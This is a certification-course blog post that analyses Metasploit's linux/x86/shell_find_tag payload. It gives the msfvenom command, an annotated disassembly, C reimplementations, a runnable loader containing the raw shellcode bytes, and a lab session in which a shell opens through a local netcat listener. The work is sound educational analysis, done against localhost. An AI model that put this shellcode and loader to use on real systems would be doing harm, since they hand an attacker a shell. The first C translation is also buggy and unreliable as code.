SLAE32 - Assignment 5.3

Analysis of the shellcode ’linux/x86/shell_find_tag’ from Metasploit.

Author Avatar

Robert Raducioiu

  ·  7 min read

Disclaimer #

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:

https://www.pentesteracademy.com/course?id=3

Student ID: PA-30398

Source Code #

The full source code is stored inside the repository created for this Exam: rbctee/SlaeExam.

List of files:

  • mimick_shellcode.c, a C program that I’ve written to imitate the instructions ran by the shellcode

  • run_shellcode.c, a C program that runs the shellcode analysed in this post

Analysis #

I chose the following 4 shellcode samples:

NameDescription
linux/x86/adduserCreate a new user with UID 0
linux/x86/shell/reverse_nonx_tcpSpawn a command shell (staged). Connect back to the attacker
linux/x86/shell_find_tagSpawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp_ipv6Connect back to attacker and spawn a command shell over IPv6

In this post I’ll analyze linux/x86/shell_find_tag.

NDISASM #

To generate the payload:

msfvenom -p linux/x86/shell_find_tag -o shellcode.bin

To analyze it with ndisasm:

ndisasm shellcode.bin -b 32 -p intel

It returns the following output (comments are mine though):

; clear EBX and push 0x00000000 to the stack
xor ebx,ebx
push ebx

; store pointer to 0x00000000 into ESI
mov esi,esp

; 4th argument of recv(): flags
; push to the stack the value 0x00000040 (MSG_DONTWAIT)
push byte +0x40

; 3rd argument of recv(): len, i.e. the number of bytes to
;   read from the socket
; push to the stack the value: 0x00000a00 (2560 bytes)
mov bh,0xa
push ebx

; 2nd argument of recv(): buffer that will store the data
; push to the stack the value: pointer to 0x00000000
push esi

; 1st argument of recv(): file descriptor of the socket
; push to the stack the value: 0x00000a00
push ebx

; 3rd argument of socketcall()
; store into ECX the pointer to its arguments
mov ecx,esp

; exchanges BH with BL, so 0x0a00 -> 0x000a
; EBX = 0xa (SYS_RECV)
xchg bh,bl

; 0x0a00 -> 0x0a01
inc word [ecx]

; call socketcall() syscall, which in turn calls recv()
push byte +0x66
pop eax
int 0x80

; pointer to the buffer storing data received with recv()
; check if the first bytes are the string "fjHh
cmp dword [esi],0x68486a66
jnz 0x10
; save the file descriptor of the socket into EDI and EBX
pop edi
mov ebx,edi

; set ECX ot 0x00000002
push byte +0x2
pop ecx

; call dup2() syscall
push byte +0x3f
pop eax
int 0x80

; decrease ECX by 1 and jump to the address 00000026
dec ecx
jns 0x26
; set EAX to 0x0000000b
push byte +0xb
pop eax

; 3rd argument of execve(): array of pointer to env. vars.
; set EDX to 0 and push this value to the stack
; it also acts as the string terminator of /bin//sh
cdq
push edx

; push the following string to the stack: /bin//sh
push dword 0x68732f2f
push dword 0x6e69622f

; save the pointer to /bin//sh into EBX
mov ebx,esp

; push 0x00000000 to the stack
push edx

; 1st argument of execve(): path of the executable to run
;   in this case: /bin//sh
push ebx

; 2nd argument of execve():
;   array of pointers to strings passed
;   as the command-line arguments of /bin//sh
mov ecx,esp

; call syscall 0xb (11): execve()
int 0x80

This last block of disassembly looks similar to what I’ve written for the 1st and 2nd assignments.

It simply calls the syscall execve in order to spawn a shell, in particular /bin//sh.

To recapitulate what the shellcode does:

  • the shellcode calls recv in order to receive data from the file descriptor 0xa00 (2560) of the socket
  • the shellcode checks the first 4 bytes of the buffer storing the data received
  • if they aren’t equal to 0x68486a66, then it increases the file descriptor (0xa00 -> 0xa01 -> 0xa02 …), until 0xffff, after that it starts again from 0x0000
  • if they are equal, it continues execution
  • the syscall dup2 is used for redirecting standard error, standard output, and standard input (in this specific order) towards the file descriptor of the socket
  • the shellcode uses the syscall execve to spawn the shell /bin/sh

It translates to the following C program, although with some minor differences:

#include <sys/socket.h>

void main(int argc, char *argv[])
{
    unsigned short int fd = 2560;

    /*
      buffer containing data received from the socket
      in the previous shellcode, the data is stored on the stack
      so this is the 1st difference
    */
    char buffer[2560] = {0};

    while (1)
    {
        recv(fd, &buffer, 2560, MSG_DONTWAIT);

        /*
          check the first four bytes of the data received from the socket (if so)
          I don't know how to check the first 4 bytes without other functions
          so this is the 2nd difference
        */
        if (buffer[0] == "\x66" && buffer[1] == "\x6a" && buffer[2] == "\x48" && buffer[3] == "\x68")
        {
            break;
        } else
        {
            // increase the file descriptor if data wasn't received or
            //  the first 4 bytes aren't correct
            fd++;
        }
    }

    // redirect stderr, stdout, stdin
    for (int i = 2; i <= 0; i++)
    {
        dup2(fd, i);
    }

    /*
      spawn a shell, using system(), as I couldn't use execve
      so this is the 3rd difference
    */
    system("/bin//sh", "/bin//sh", 0);
}

If you were to run the shellcode (or the program above) and pass it to strace, you would notice the function recv enters an endless loop, so it will never reach the function dup2.

To make it work, I wrote some C code that creates a socket and connects to a netcat listener, which sends the string fjHh:

#include <sys/socket.h>
#include <netinet/ip.h>

void main(int argc, char *argv[])
{
    unsigned short int fd = 2560;
    char buffer[2560] = {0};

    // START block of code of code taken from assignment n.2

    int client_socket_fd;
    char *empty[] = { 0 };
    struct sockaddr_in client_address;

    client_socket_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    client_address.sin_family = AF_INET;
    inet_aton("127.0.0.1", &client_address.sin_addr);
    client_address.sin_port = htons(4444);
    connect(client_socket_fd, (struct sockaddr *)&client_address, sizeof(client_address));

    // END block of code of code taken from assignment n.2

    printf("[+] Trying to find the correct file descriptor\n");
    while (1)
    {
        recv(fd, &buffer, 2560, MSG_DONTWAIT);
        if (buffer[0] == 102 && buffer[1] == 106 && buffer[2] == 72 && buffer[3] == 104)
        {
            printf("[+] Correct file descriptor: %d\n", fd);
            break;
        } else
        {
            fd++;
        }
    }

    printf("[+] Redirecting error, output, and input\n");
    for (int i = 2; i >= 0; i--)
    {
        dup2(fd, i);
    }

    printf("[+] Here's your shell:\n");
    system("/bin//sh", "/bin//sh\n", 0);
}

In another window, I set up the netcat listener:

nc -nlp 4444
# fjHh

I had to send the string before the C program could connect to it.

Next, compile and run and C program:

# compile
gcc -w ./file.c

# run
./a.out
# [+] Trying to find the correct file descriptor
# [+] Correct file descriptor: 3
# [+] Redirecting error, output, and input

In the other window you should now have a reverse shell.

Now that I’ve tested that it works correctly, I had to change it a bit, replacing some of the C code with the shellcode:

#include <sys/socket.h>
#include <netinet/ip.h>

unsigned char code[] = \
"\x31\xdb\x53\x89\xe6\x6a\x40\xb7\x0a\x53\x56\x53\x89\xe1\x86"
"\xfb\x66\xff\x01\x6a\x66\x58\xcd\x80\x81\x3e\x66\x6a\x48\x68"
"\x75\xf0\x5f\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79"
"\xf8\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

void main(int argc, char *argv[])
{

    // START block of code of code taken from assignment n.2

    int client_socket_fd;
    char *empty[] = { 0 };
    struct sockaddr_in client_address;

    client_socket_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    client_address.sin_family = AF_INET;
    inet_aton("127.0.0.1", &client_address.sin_addr);
    client_address.sin_port = htons(4444);
    connect(client_socket_fd, (struct sockaddr *)&client_address, sizeof(client_address));

    // END block of code of code taken from assignment n.2

    int (*ret)() = (int(*)())code;
    ret();
}

To compile it:

gcc -w -fno-stack-protector -z execstack file.c

It worked as expected, spawning a reverse shell in the other window, where I set up the netcat listener:

rbct@slae:~$ nc -nvl 4444
# fjHh
# Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
# uid=1000(rbct) gid=1000(rbct) groups=1000(rbct),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare)
whoami
# rbct
exit
rbct@slae:~$

This type of shellcode would be used in cases where you’ve already set up a connection to a TCP socket, and you have control over it, so you’re able to send the data desired, and most importantly the first 4 bytes specified in the shellcode.